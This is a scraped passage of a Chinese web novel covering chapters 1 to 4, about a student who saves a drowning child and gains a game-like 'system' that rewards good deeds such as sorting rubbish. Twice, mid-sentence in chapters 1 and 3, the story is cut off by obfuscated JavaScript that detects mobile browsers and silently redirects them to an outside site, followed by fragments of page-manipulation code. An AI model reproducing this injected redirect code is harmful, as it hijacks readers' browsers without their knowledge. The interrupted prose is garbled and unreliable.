《刷题暂停，先来积德》 1. 第 1 章 “早上好，主人。” 虞栖月将醒未醒之际，有一道轻柔的声音忽地贴近她的耳畔，驱散了她残存的睡意。 没想到有一天，叫醒她的不是尖利的闹钟，而是自己最喜欢的动漫角色音，这像梦一样美的现实是虞栖月从前想都不敢想的。 如果不用睁眼的话就更好了，她可以继续停留在想象中，而不用看到这声音是出自一个没有头只有显示屏的机器人。 不过…… 虞栖月披上校服外套，看向正在兢兢业业为她叠被子的银白色机器人。 它的出现本身就是一场真实的幻梦！ 一切的一切还要从虞栖月那个无法对任何人分享的秘密说起—— 只是一觉醒来，她却莫名地绑定了一个系统。 作为一个唯物主义者，当时的虞栖月只觉得如坠梦中，绞尽脑汁地思考究竟是世界疯了还是她疯了。 这玩意怎么出现的？为什么就绑定她了？活了快十八年才告诉她，其实自己是什么命运之女吗？ 虞栖月懵懵懂懂，只隐约有一个朦胧的直觉，这突然砸她头上的馅饼约莫是跟她昨天遇见的意外有关。 昨天其实是一个很普通的日子，没有日食月食，更没有什么七星连珠。 她也没有去什么奇怪的地方，唯一偏离日常轨迹的是——她救了一个人。 那是昨晚七点多，她提着袋子慢腾腾地从桥上走过。 桥很正常，特别的是这桥前后的路灯上周就坏了，但直到现在仍没有被修缮。不过月色明亮，桥下穿过的河又能反出光来，虞栖月是能够看清路的，拖慢她步子的是手提塑料袋里的那两板牛奶和大瓶装橙汁，这两样对她一个每天能在凳子上坐十来个小时的柔弱学生而言着实是有些沉重了。 她低头看向右手被勒出的红痕，决定换只手提，但换手的瞬间她模糊听见了一道声响。 “咕咚——” 虞栖月起初并没有在意，她猜多半是石子被扔进水里了。 这里惯常有小孩在这里打水漂，她小时候也玩过的。 虞栖月水漂最高纪录是十二下，直到现在她仍记得很牢，毕竟那数字曾羡煞过一帮子小朋友，是她辉煌的战绩！ 只是不等她从被咕咚声勾起的骄傲中回过神来，两道哭喊声陡然冲击她的耳膜。 虞栖月一惊之下手跟着松开，塑料袋砰地落地。 “救！救命啊！救……” 两道音色不同但都稚嫩的声音在夜色里此起彼伏，传递出慌张又恐惧的心情。 此时也顾不得查验袋子里的东西会不会摔碎了，虞栖月冲到桥边，握住栏杆向下张望——漆黑又泛着零星白光的河里有什么在啪啪地击打着水面。 她睁大眼睛，仍辨不太分明，但河边加孩子两个元素，再思及那求救声，心中已有了不好的猜测。 怪不得刚才那动静她在桥上都能够听得一清二楚，原来掉水里的是个小孩！ 要救吗？ 或者说她有能力救吗？ 她可知道有太多救人不成反受其害的例子了，虞栖月没有自信。 但……这是一条还鲜活的人命，就在她眼前，她真的能做到视而不见，任由其溺毙吗？ 明明这里也不荒僻，但此刻除了她怎么就没有其他成年人了呢！ 她迅速地扫视了一圈，心中的天平向其中一侧重重压下。 桥不高，落水点离岸不算远，河流不算湍急，而她游泳还不错，小孩子的身量她应当也能拖动…… 乱七八糟的想法在她脑中一闪而过，虞栖月捏紧手中的石栏杆，叹了一口气。 下一秒她扔下手机，蹬掉鞋子，灵活地越过栏杆。 虞栖月不知道此刻她下落的样子多么像是一只扑火的蛾，不同的是她扑的是水。 失重的时间短暂而又漫长，虞栖月顾不得空落的心脏和紧张到抽搐的胃，手脚用力，迅速地朝小孩游去。 身体在动的同时，她的脑子也没有停下，她在思考——为什么夏天的河也这么冷？她能清楚地感受到身上的热量正在被冰冷的河水一点点侵蚀。 按理说水的比热容较大，今天白天气温高日照足，河温应当是比较稳定。 难道是因为她在表层水游泳，所以降温较快？还是…… 不是，这又不是考场，更没有考卷给她答！ 在这种生死时刻间自己居然还能想这些费脑的事，是氧气太够了？ 而且自己选修的又不是地理，虞栖月被自己无语到了。 紧张的脑子里思绪纷飞，她的泳速却没慢下来，她行动果决，先从背后靠近，然后牢牢地控制住女孩挣扎不休的手臂，就这么环着女孩向岸边游去。 此时岸上仅剩的那个男孩也不只呆呆地喊救命了，快步上前帮着她将溺水的女孩拖到了一个相对安全的距离。 然而虞栖月还没来得及多喘几口气，就感受到掌中的女孩软绵绵的宛若被抽了骨，脸色更是白得像是抹了面粉。 糟了，这还有气吗？ 心肺复苏她也不太会啊！ 她抬起头甚至想问男孩他会不会，可却对上了一双茫然无措的眼睛。 罢了，就算他会，力气也不够。 也只能听天由命了，虞栖月一把抹掉脸上弄得她生理难受的水，然后用她学的粗陋的心肺复苏在女孩身上实践起来。 或许是女孩命大又或许是虞栖月的急救技巧学得比她料想的好，女孩竟真的被救回来了。 “咳咳，咳……” 看着女孩咳嗽着吐出一口口水，虞栖月双腿歪倒在地。 可累死她了。 这时噼里啪啦的脚步声由远及近，虞栖月抬头就看见一群黑压压的人朝着她这个方向涌来。 跑在最前面的是一个中年女子，脚步急促，嘴里还大声喊着什么。 虞栖月猜她叫的是这个溺水女孩的名字，不过这对她并不重要，而且现在她要溜了。 女孩水吐了，家长又来了，哪怕还没有彻底被救回来，剩下的也不是她能会的了，此外身上穿的短袖和短裤黏腻地贴在身上着实让她难受且尴尬。 虞栖月逆着人流向桥上走去，她还没忘自己的东西还落在那呢。 拥挤的人群和漆黑的夜色遮住了她湿润的衣衫，没人注意到她是那个救人者。 虞栖月先去找鞋子和手机，幸好两个都还在，只是不等她去拿塑料袋，就感受到后衣角有一股被牵扯的拉力。 有人在拽她。 她回过头就瞧见一个扎着两个小辫的女孩正一脸激动地看着她：“姐姐，谢谢你救了我朋友。” “不用谢。”虞栖月应了一句就要走，可小女孩不放手。 “姐姐你还没告诉我你叫什么名字呢？” “……雷锋，我叫雷锋。”虞栖月一本正经回答。 “姐姐你哄我。”女孩脸颊鼓鼓，“我都上小学了，老师教过我们雷锋是谁。” 失策了，这小孩长得不高居然已经上小学了。 虞栖月放下扶额的手，继续一脸正色：“姐姐错了，其实姐姐叫电母。” 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148214|164777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着有些奇怪，但这个她确实没学过。 女孩半信半疑，抓着衣角的手失了力度，虞栖月趁机挣脱，像是一条游鱼一下就钻进人群不见了。 还站在原地的小女孩一脸目瞪口呆，跑得好快！ 虞栖月走出老远才松了口气，那女孩人小小的嗓门却很大，眼见着周围人被吸引就要围过来的趋势，她能不快点离开吗，差点就成被围观的猴了。 桥的位置离家并不远，十分钟不到虞栖月就回到了家，进门后一边脱鞋一边喊了一句：“我回来了。” 很快一道身影以迅雷不及掩耳的速度冲了过来，精准地停在了虞栖月面前。 是一只长得很神气的三花猫。 只见三花盯了湿漉漉的虞栖月三秒，然后歪着脑袋喵了一声，像是在问——人类，你怎么把自己搞成这样子了？ 瞅着那还带着水的手就要摸上自己的脑袋，三花顿时嫌弃转身。 对此，虞栖月悻悻地挠了挠额角。 将塑料袋随手放在客厅，虞栖月快步走向浴室，就刚那么一会功夫，已经被拧过好几次的衣服和裤脚又开始往下滴水，也难怪猫猫嫌弃了。 浴室里，虞栖月站在花洒下，热水从头顶一路流至口鼻，湿漉漉的头发沉重地贴着肌肤，恍惚间又将她带至了那条漆黑的河里。 “叮咚！” 突然，虞栖月的耳朵或者说脑子里响起了一道奇怪的提示音，一下便将她拉出了那道令人窒息的幻觉。 她关掉花洒，拂去脸上的水，睁开眼扫视着热雾缭绕的浴室。 幻听？还是她脑子进水坏掉了？ 可她又不是机械人。 总不能是被水鬼缠上了吧，虞栖月在心中默默吐槽了一句。 还是快点洗完去休息吧，虞栖月这么想着，同时迅速地涂抹沐浴露，当带着泡沫的右手划过左小臂时，她冷不丁地嘶了一下。 冲掉泡沫的手臂上露出了两道伤痕，她这才后知后觉感受到刺痛，这是那个小女孩挣扎时抓下的。 “真是亏了。”虞栖月小声嘟囔了一句。 都累倒出幻觉了，身体居然也受了伤。 虞栖月也只是嘴上这么说，心里很明白用这些代价换取一条人命乃至一个家庭，完全不亏。 身上的寒意被热水驱走，困意却涌了上来。 虞栖月草草吹了头发，往床上就是一倒。 她捞过薄被随便盖在肚脐上，不过几秒就沉沉睡了过去。 一夜光怪陆离的梦，虞栖月醒过来的时候只觉得头痛欲裂。 难受的很真实，所以这不是幻觉吧？ 救命，她精神好像出问题了！ 虞栖月呆呆地望着天花板的方向，视线却聚焦在离她脸一臂距离的空中。 好像……有什么奇怪的事情发生了！ 卧室的窗帘并未拉紧，一束阳光从缝隙里挤了进来。 虞栖月看见了光束里飘舞的尘埃颗粒，更看见了一块不可思议的方形虚拟光屏。 光屏上是一道进度条，她刚清醒的时候，最前面的数字还是个位数，等她按完手臂伤痕确定这不是虚幻之后，进度已经加载到了99%。 下一刻光屏上亮起刺眼的白光，照亮了整个房间，那亮度就好像卧室里被塞了个小太阳。 然而此刻若是有人趴在地板通过门下的空隙往里看，却是只能瞧见一片黑，好像那是发生在另一个次元的异事。 虞栖月紧紧地捏住被子，因为过于用力，手指甚至开始泛白。 接下来会出现什么？ 2. 第 2 章 虞栖月心如擂鼓，完全没注意到白光亮起的时候刚还强烈的头痛竟戛然而止了。 光芒散去，光屏上只出现了三个简单的圆形按钮，上面分别绘有三个眼熟的图案。 第一个图案上是一名浅瞳黑发的少女，目光平淡甚至有些冷漠，像是透过屏幕看到了床上那个满脸讶色的人。 那个少女的脸虞栖月再熟悉不过了，那是她自己的大头照。 只是这张照片她从没见过，看久了甚至会觉得有点别扭。 虞栖月不合时宜地走了神——原来她冷脸看人的样子还挺吓人的。 第二个按钮上面的图案是一个购物车，第三个按钮图案则是一本没有打开的书。 她确认自己好像没有多个空间，暂时可以先排除掉末世。 而这三个图案看上去像是游戏标识，难道会是无限流？ 虞栖月一时间不敢轻举妄动。 这时，床脚传来一阵窸窣声，紧接着好像有什么东西隔着被子压在了她的脚上。 紧张之下，虞栖月踢了一下脚，然后引来了一阵不满的猫猫叫。 “喵喵喵……” 虞栖月浅浅地松了一口气，原来是老大——跟她合租的那只三花猫。 这只叫“老大”的三花猫，实际上跟她并没有明确的饲养关系，她更习惯用合租来形容她们之间的羁绊。 因为经常偷摸着溜出去，老大身上总是脏兮兮的，而它又不喜欢洗澡，所以虞栖月一般是不让它睡床上的，只是昨夜她太累，也不知道三花是怎么溜进来的。 看着老大向床头这边走来，虞栖月的眼睛倏然发亮。 老大是一只很爱看电视的猫，尤其是喜欢看《猫和老鼠》。每次只要电视一打开，它都会自觉地坐到沙发上等待，然后目不转睛地盯着，像是真的能看懂一样。 虞栖月捞过老大，两只手抬起它的前肢，并将猫头对准半空中的光屏。 “老大，借你一用。” 她想着都说猫通灵，说不定能给她什么预兆？ 不过显然是她多想了，老大只是用尾巴不停的拍打着被面，像是在嫌弃这姿势不舒服。 虞栖月感到一点小失望，同时还有点奇怪，对于这么像电视的电子光屏，老大竟没有露出半点兴奋的姿态。 难道老大看不到这光屏？ 虞栖月叹了一口气，所以不管她碰不碰这光屏，这玩意儿都已经绑定她了是吗？ 放下老大后，她直接破罐破摔地按了第一个绘有她大头照的按钮。 界面一闪，虞栖月看到了一个类似于游戏中的用户信息界面，诸如她的名字、性别、年龄等等。 信息基本都是对的，只除了两处地方，描述很奇怪，她甚至有些看不懂。 第一处是财产二字后面跟着的1000能量点，这是什么意思？ 虞栖月能肯定的是这不是象征着她现实中的资产，毕竟自己银行卡上的数字她还是记得很清楚的，所以这是屏幕上的虚拟资产吗？ 想起那个购物车的符号，虞栖月猜测难道这个是用来在那个按钮里面进行购物的吗？ 多半如此，不过她并没有第一时间退出去验一个究竟，而是将目光移向了第二处令她在意的地方。 那是那是一块单独被列出来的区域，最上面是两个字——技能。那整块区域都是灰扑扑的，唯独最上面亮着光。 虞栖月心中默念。 技能一——【水鸭子就是你】：在水里没有人比你游得更快，使用时每秒钟消耗一点能量值。 能量值指的是那个货币吗？虞栖月没有贸然尝试，毕竟这会儿没水也没有可以比较的对象。 这是一个游泳技能，不得不说再一次佐证了这个流氓系统绑定她是和昨天跳水救人有关。 在心中默默写上游泳馆这个日程后，虞栖月退出了用户信息界面。这一次，她点击了购物车按钮。 哇！ 虞栖月看着这个崭新的页面，内心满是震撼。 好多好东西！而且怎么滑也滑不到底。长寿丹、传送阵、空间背包……这些光从名字上便可看出是个好东西。 还有一些只扫一眼无法知晓它们有什么作用，但是光看着就感觉逼格很高。譬如龙的牙齿、来自克苏鲁的残肢…… 然而他们都有一个相同点——很贵。动辄百万、千万甚至上亿，最便宜的也是以千为单位。 买不起，完全买不起！ 难道就没有稍微平价一点的商品吗？像是捕捉到了她的念头，电子光屏突然闪了一下，然后那些价值但凡是在1000以上的商品全部都消失了。 而且不知道是不是收集了她的资料，排在最前面的商品都是她最心动的，也是最适合她的。譬如一只永远用不完的0.5笔芯，还有号称比人参还管用的精力丹——只要一颗，就算熬一整夜写作业，也不用担心第二天起不来。 虞栖月简直是这个也想买，那个也想要。 精力丹一百一颗，她想想手中有的1000能量点，一咬牙直接买了一颗。 叮的一声响后，虞栖月的手中突然多出了一个硬物，外形看上去像是电视剧里面经常出现的戒指盒。 这送快递的速度也太快了吧！ 虞栖月一边打开盒子，一边在心中默默提醒自己，以后千万不要在有其他人的场合进行系统购物。 只见盒子里放的是一个黑色的球形药丸，看着跟巧克力一样，不过拿起来细闻的时候却有一股草药的清香。只是这么简单地闻一闻，便觉得精神一振，比风油精还好用，却没有那种刺鼻感。 虞栖月把盒子盖了回去，现在用太浪费了，还是等到晚上再尝试。 看着屏幕上的其他好东西，虞栖月想到剩下的900能量点，还是压下了自己的蠢蠢欲动。也不知道这个能量点容不容易获得，目前还是要精打细算才行。 退出商城，虞栖月点击第三个按钮，意外地看到了一片空白，她在界面上东戳西戳，却没有得到任何提示。 可能是还不到时机，她想。 正当虞栖月感到些许失望的时候，她听见了自己的手机铃声从客厅传来。 是了，因为昨天浑身湿透，所以回来的路上她就把手机放在了塑料袋里。昨天晚上忙着洗澡，后面又直接上床睡觉，竟就一直忘了拿出来。 虞栖月想要下床去拿手机，可是面前这个一直随着她头的方向不停转动的屏幕着实造成了困扰，得收回去才行。 或许是心随意动，电子屏幕刷的消失，同时虞栖月感觉脑海中多了一个光点。 不错，可以自由打开。 等虞栖月从塑料袋里取出手机的时候，电话铃声早就挂断了。屏幕上显示有一个未接电话，还有一连串的微信消息提示，都是来自同一个人，是她的同桌兼好朋友——叶醒欢。 显然是因为虞栖月一直不回消息，所以干脆打了电话来催，她是来邀请虞栖月下午陪她一起出门的。 虞栖月看了一眼时间，发现最早一条信息是早上七点钟发的，而现在已经快11点。 因为虞栖月是独居，所以叶醒欢一向很担心她的安全。有一次她们聊到这个，叶醒欢还说要是哪一天虞栖月一直联系不上的话，她真的会报警。 看到叶醒欢竟然只打了一通电话便没再打过来，虞栖月心里咯噔一下，不会真报警了吧？ 她赶紧发了一条信息过去，也幸好她发的及时，叶醒欢那边 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排除掉其他离谱的原因之后，虞栖月大概猜到了是怎么一回事。除了在桥上那会儿，塑料袋就没离过她身边。一时间虞栖月郁闷的同时，竟然还感到了些许奇异的满足，至少她的手机保住了，而且也不是整个塑料袋都没了，不是还给她留了饮料和牛奶？ 唉，怎么被偷走的？都放在同一个塑料袋里的，为什么不把那两样东西拿走，倒是把马卡龙给她留下呀！ 她一周七天就指着这个呢！ 事情已经过去了一晚，虞栖月也只能无奈地接受了被偷的事实，然后给自己煮了一包豪华版泡面——疯狂加蛋、加肠、加菜。 直到胃被塞满，她的郁气才算散了一半。 给老大添了些猫粮，虞栖月拎着垃圾袋出了门。 她所住的世景一号小区规模不算小，但是只设置了两个垃圾站点，最近的一个垃圾站点就在这幢楼的正前方。 绘有不同符号的垃圾桶整齐的排列在一起，但是住户们扔的垃圾却很是随心所欲，不过这也倒不是他们故意为之。毕竟垃圾站点太少，处理的又不及时，垃圾桶满了之后住户们也只能随便扔在旁边。这会儿远远看过去，垃圾站点简直就像是一座垃圾小山。 夏日炎炎，垃圾在高温中发酵，浑浊的酸腐味扑面而来，虞栖月熟练地屏住气，灵活地绕过桶边地面上洒落厨余渗出的黑褐色汁液。 垃圾桶是挤不进去了，她也就学其他人样将垃圾袋放在地上靠着垃圾桶外壳。 不等她转身离开，脑海中的系统面板直接跳了出来，紧接着又弹出一个小框。 框里提示：恭喜您收到了一个新任务。 虞栖月叉掉小框，发现电子大屏上那个不知道是做什么的书册图标正一闪一闪，活跃地彰显它的存在感。 她好奇地点开书册按钮，发现原本空白的界面已然变了样，屏幕被划分成了两块区域，左窄右宽，左侧的最上方赫然是她被缩略了的任务，她点开，具体的信息在右侧显现出来。 【我消化不良啦】委托者：小黑—— 小黑的梦想是成为一个瘦子，它很喜欢自己的颜色，深沉的黑色让它显得格外苗条。但是残酷的人类往它肚子里放了一堆乱七八糟的东西，让它无法回到从前的样子。所以它希望肚子里的东西能够去到它们应该去的地方。 这段文字看的虞栖月很是迷惑。 谁是小黑？是猫吗？ 肚子里放了一堆乱七八糟的东西又是什么意思？难道是虐猫？可是哪里有黑猫？ 按理来说，任务触发应该需要一个条件，所以这个小黑应该是她接触过的。 虞栖月仔细思考了一下任务触发时她干了什么，她记得当时她扔了一个垃圾，然后打算走人……等等，她的目光不可思议地转向了垃圾桶旁刚被扔下的黑色塑料袋。 3. 第 3 章 小黑，是你吗？ 所以那个残酷的人类竟是她自己！ 那么‘希望肚子里的东西能够去到它们应该去的地方’指的难道是垃圾分类？ 一切突然合理起来，仔细想想，这个系统本就是因为她跳水救人才绑定她的，所以基调本身就是正能量的，现在又让她进行垃圾分类，感情色彩上完全是一致的嘛。 这么想来她刚才做的阅读理解应该是正确的。于是虞栖月忍着恶心又把小黑提起打开，心里庆幸这不是厕所垃圾。也幸好她垃圾一向扔的很勤，此时袋中的东西并不多。更幸运的是她扫了一眼后发现基本知晓这些都是属于哪一种垃圾。 遇到最大的困难反而是垃圾桶已经被塞满了，少有空隙，塞得动作一旦过大很有可能会造成垃圾山倒塌，只能是小心小心再小心。然而当她把最后一个垃圾塞进桶里时，系统并没有提示完成。 难道是分错了？虞栖月下意识地捏紧手里的垃圾袋。 等下，还有小黑没扔呢。 当虞栖月把瘦的不能再瘦的小黑放进可回收垃圾桶时，关掉的电子屏幕终于再次弹了出来—— 恭喜您完成了小黑的委托，奖励100能量点，并获得称号——【垃圾分类小能手】：当您佩戴该称号时，您能为每个垃圾找到它们的去处。 任务不算难，能获得100能量点已经算是不错，好歹价值一个精力丹呢，而且这个【垃圾分类小能手】称号也很有用。 她有预感，绑定了这个系统之后，垃圾分类估计要成为她的日常了。 今天自己的垃圾都比较简单才没有出错，但实际上垃圾分类还是比较复杂的。譬如，她曾经在短视频上被科普过：不是所有的电池都是有害垃圾；还有像是榴莲壳、大骨头、贝壳等等，这些都不是厨余垃圾，而是属于干垃圾。 这个称号来的很及时很有用，虞栖月第一时间将称号佩戴上去。此时点开任务界面，小黑的委托任务已然消失。 不过小黑竟然还留下了十秒的留言：知错就改就好，我承认你不是那么残酷的人类啦，说不定我们还会再见面，祝福我下一次还能投一个黑胎吧。 虞栖月看着垃圾桶上的可回收三个字陷入沉默。 嘿，你还真别说。 不过真的有下一次，应该也不会那么快吧。 不等虞栖月退出，又是叮咚一声，任务界面再次刷新。 【我也是要面子的】委托者：世景—— 我原本长得多么白净啊，可是不知道从什么时候起身上就长了一些永远洗不去的黑斑，更悲伤的是黑斑还散发着恶臭。起初在周围一圈朋友里我永远是被羡慕的那个，可是现在他们却都在嘲笑我。我说我装饰是最多最漂亮的，但他们只认定我是丑人多作怪；我说我身价是最高的，他们还是骂我丑且臭。我想要变回以前漂亮的样子，在朋友圈中找回我的面子。 这次虞栖月一看到委托者的名字，心中便已了然。 她就说这个系统连她没有进行垃圾分类都要管，面对这垃圾山显然是不会置之不理的。 果不其然，小黑刚走，世景又来了。 世景是她所在的小区名，那么这些黑斑应该指的就是这两个垃圾站点被垃圾堆满的情况。 不过这个朋友圈是什么意思？难道指的是周边的其他小区？那么，这个身价指的就是房价喽，这还是虞栖月第一次了解到自己小区的身价。 她没有在这些不重要的附加信息上花太多时间，将注意力集中到具体任务上，也就是解决小区内的两堆垃圾山。 虞栖月一时间还真不知道从何处下手，一般来说，最基本的手段应当是投诉。但她清楚这条路多半不行，因为她曾在小区群里看到过其他业主有进行维权，然而每次皮球踢到物业这里之后就没有了下文。 按理来说，这对物业而言应当不是一件复杂的事。多增设几个垃圾站点，及时清运，小区的卫生也不会沦落到现在这样。 但小区物业偏偏就像是得了拖延症，愣是能一直不处理。 既然投诉不行，那她能做什么呢？ 虞栖月短暂思考片刻后有了主意，正常手段没用，那就反其道而行之。 直接以毒攻毒！ 不过也不知道系统商城里面有没有她想要的东西…… 结果很让她惊喜，随着她的想法变幻，电子屏幕上出现了一连串可以实现她设想的商品。 虞栖月没有一一比较这些商品，而是直接挑了最便宜的一种。 没办法，她穷。 但最便宜的也是50一个，为了更好的效果，虞栖月不得不大手笔地买了五个，整整花了250能量点！ 希望这东西能像它的介绍那样有用吧。 这任务可比垃圾分类难多了，它的报酬可一定要对得起她的投入啊! 将买下的东西一一放好后，虞栖月也没有在原地等待效果。 此时距离她和叶醒欢约定的下午一点钟已经差不了几分钟了，她大步地跑向小区门口，刚一出去她就看到了一辆很是奢华的豪车。 那车真的是闪闪发光，格外显眼。 下一秒后车窗下移，一个绑着彩色发带的女生冲着虞栖月喊道：“月月，这，看这里！” 在其他人的注视下，虞栖月尴尬捂脸，飞速地上了车。 “这绝对不是你以前坐的车！”虞栖月看着头顶的星光顶肯定道。 “我常坐的那辆出了点问题就送去修了，所以这两天也就只能借我哥的车出行，我懂你的意思，但这辆车已经是我从我哥所有车里挑出的最普通的一辆了！”叶醒欢摊摊手表示她也很无奈。 普通？这车在太阳底下已经是熠熠生辉了！其他的车还能有多靓？ 虞栖月想象不出，只觉得自己还是见识浅薄了！ 叶醒欢盯着虞栖月看了一会突然发出疑问：“嗯？我怎么觉得你今天的状态不对呢？” “哪里不对？”虞栖月故意摸着脸蛋胡说道，“难道是变得更漂亮了？” “不是，说不出，但就是有问题！虽然你平时话也多，但总感觉今天是格外地兴奋。”叶醒欢一拍手，“我想到了，就跟你上次数学上了140的状态一模一样，你这是中彩票了？” “没有，你瞎想什么呢，就我这个非酋能遇到这好事？”虞栖月摆摆手。 叶醒欢一把抓住虞栖月挥动的手臂：“这是怎么回事？你受伤了？昨天放学时还没见着这个。” 虞栖月看着手臂上快要结痂的伤口，满不在乎道：“小伤，昨天晚上做好人好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148216|164777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的时候留下的。” “什么好人好事？”叶醒欢好奇追问。 之后虞栖月轻描淡写地将她昨天跳水救人的事简单地提了一句，至于后面绑定系统的事，她一个字也没说。 这种奇异的经历不是可以拿来分享的，她也不想借此去考验什么。 不过虞栖月倒是着重跟叶醒欢诉说了自己那被偷的三个马卡龙。 她甚至特别强调那是小熊甜品屋的最后三个马卡龙！她买到的时候有多高兴，发现被偷的时候就有多悲伤！ 但叶醒欢和她关注的显然不是一个重点。 叶醒欢只是一脸的恨铁不成钢：“你说你怎么不在河边多留一会呢，说不定还能领个锦旗甚至上个电视呢！” “不不不，那也太尬了，而且这也没什么用。”虞栖月先是一脸抗拒，然后像是想到什么，又变了语气，“当然，如果能够给我高考加分的话，那就另说。” “你这想的还挺美。”叶醒欢呵呵两声以赞扬她的白日梦，然后提出致命一问，“那见义勇为奖金什么的你也不想要？” 奖金啊！虞栖月当时完全没想到这回事。 算了，还是不要想了，一想还真有点肉痛。 不过虞栖月面上还是一脸的正直，她甚至故作鄙视地看了一眼叶醒欢：“我能是那么铜臭的人吗？” 叶醒欢不说话，只拿一双眼问她：你不是吗？刚才那个心痛马卡龙的人是谁？ 虞栖月不承认，她明明心疼的是那口吃的！ 叶醒欢继续盯着她。 虞栖月摸摸鼻子，好吧，她是。 那三个小小的马卡龙整整花了她几十块呢！ 虞栖月尴尬地转移话题：“对了，你都还没告诉我今天下午要去干嘛？” “我没说吗？不可能啊，我有在微信上告诉你要去古玩市场的吧？”叶醒欢也不跟她争辩刚才那个话题，顺着她换了另一茬。 她拿出手机打开聊天界面，往上翻了翻，然后将手机屏幕怼到她眼前。 “不是在这吗？古玩市场这四个字。” 虞栖月乖乖认错：“好吧，我没看仔细，不过你什么时候对这个有兴趣了？” “不是我，是我奶奶，她喜欢收藏古董。然后她下个月就是她生日，但我还没准备好礼物。另外我的零花钱……你懂的，都花的差不多了。”叶醒欢讪讪一笑。 “既然是下个月，那时间完全来得及，反正你的零花钱不都是每个月一号就收到了嘛。”虞栖月不明白为什么这么着急。 叶醒欢看起来更尴尬了：“那什么？下个月我的零花钱都已经安排好了，下个月的那些周边都是限量版的，要是错过这次，下次就不知道是什么时候了。而且我还没成年，每个月的零花钱就那么一点，也买不了什么古董。” “那你就换一个呗，不一定要买古董。我看你去年一样的零花钱也没这个烦恼。” “不一样，今年是奶奶的整寿，我想特别一点，送她喜欢的老物件。”叶醒欢摇摇头，认真解释道。 “好吧，不过你确定古玩市场能买到你想要的东西？” 虞栖月表示很怀疑，就她们两个小菜鸡，真的能捡到漏？ 也不知道系统商城里有没有什么有用的道具…… 4. 第 4 章 想到就做，三秒后，虞栖月果断地关闭了电子面板。 打扰了，是她不配。 这时叶醒欢握住虞栖月的手，满脸恳切：“接下来就交给你了，今天你就是我的金手指。” “我？”虞栖月用手指着自己，不敢置信。 金手指？她心里一惊，第一反应是系统商城暴露了。 却听见叶醒欢继续说道：“我很相信你的家学渊源。” 什么家学渊源，我怎么不知道？她不是只有系统这一个金手指吗？虞栖月心里更迷惑了。 “我应该没记错，叔叔阿姨不是……考古队的吗？”叶醒欢起初很肯定，但瞧见虞栖月脸上的迷茫表情后，还是不由得开始怀疑自己是不是弄错了。 叔叔阿姨？虞栖月愣了一秒后才意识到这称呼的是她那对一年到头都在外面工作的父母。他们两个人都是考古专业的，但并不在同一个考古队。 一家三口散落在天南地北，平时除了视讯很少见面。 虞栖月的父亲很小就没了双亲，母亲家里则是因为重男轻女很早就没了联系。所以虞栖月从小就是一个人跌跌撞撞的长大，因为相处的时间本来就少，团聚在一起的时候就更不会谈及他们工作上的事情，因此如果不是刻意提起，她根本就想不起父母是做什么的。 听到这话，虞栖月才明白原来叶醒欢还打着这个主意呢，不过她注定要失望了。 她对叶醒欢实话实说道：“我从来没有接触过这方面的知识，论对古玩的了解说不定还不如你呢。” “啊，对不起。”叶醒欢一脸懊恼，她明明应该记得虞栖月跟她父母平时根本见不到面的。 看着叶醒欢一脸愧疚的样子，虞栖月反而笑了：“你不用道歉，虽然我和父母很少相处，但感情一直都挺好的。” 虞栖月这话并不是安慰，尽管她的父母一直忙于工作，但他们一直牢记她的生日，每一年的那天都至少会有一个人飞回来陪她过生日；聊的天虽然不多但却是把每一句话都放在了心上；他们在自己的原生家庭中没有感受到温情与尊重，但对她却不吝付出，将这些好好地浇灌着她成长。 叶醒欢和她是认识多年的好友，自然能分辨出她这话是真是假，心下歉疚终于散去大半，她拍了一下虞栖月的肩膀，叉腰道：“那你接下来就等着看姐姐我的表演吧。” 虞栖月心中腹诽，什么姐姐，就比我大一个月，整天占我便宜。 “你是不是在心中说小话呢？”叶醒欢敏锐地察觉到虞栖月的心思，“一年才十二个月，大一个月就该是姐姐。” “行了行了，我们赶紧进去吧，不然你想买的古董都要被挑走了！”虞栖月眼睛不肯与她对视，只一个劲地催促。 看着往来的人流，叶醒欢挽着虞栖月的手臂快步走进古玩市场，她的司机兼保镖林姐则紧紧地跟在后头。 古玩市场很大，一眼望去是各色的摊位，上面都零零散散地摆着东西，诸如瓷器、古书、珠串、钱币等等，摆摊人也是鱼龙混杂，上至七十岁老太，下至染着黄毛的年轻人，一个个都带着小马扎坐在摊位后。 叶醒欢满脸新鲜地东张西望，正当虞栖月以为她还要多走走，多看看时，她却很快地锁定了一个摊位，然后拉着虞栖月过去蹲下。 虞栖月还没蹲稳，就听见叶醒欢对她附耳道：“我看了一圈的面相，感觉这个看着最是靠谱，摊位上的东西大部分都挺脏的，其中肯定有好东西。” 这什么时候还学会相面了？虞栖月一听就觉得不稳当，她看着坐在摊位后拿着把蒲扇的六十岁老爷子，耳朵里叶醒欢声音继续传来：“你看他都这么大年纪了，这摊位上的东西年龄肯定也小不了哪去，而且你看他这长相，笑得多憨厚啊，绝对不会坑我们这种小年轻的。” 虞栖月在心里打了个巨大的叉叉，叶醒欢这话根本找不出逻辑，这摊位上的东西又不是老人身上掉下来的物件，怎么能放在一起评说年龄呢？ 而且她敏感地发现这老摊主的目光一直在叶醒欢的穿着和名牌首饰上打转，看的越久，他那被叶醒欢评价为憨厚的笑容就越大，那眯着笑的眼睛里都透出了缕缕精光。 “怎么样，小姑娘有没有看中的？你看我这摊位上的可都是好东西啊。你看这马，明代的唐三彩！” 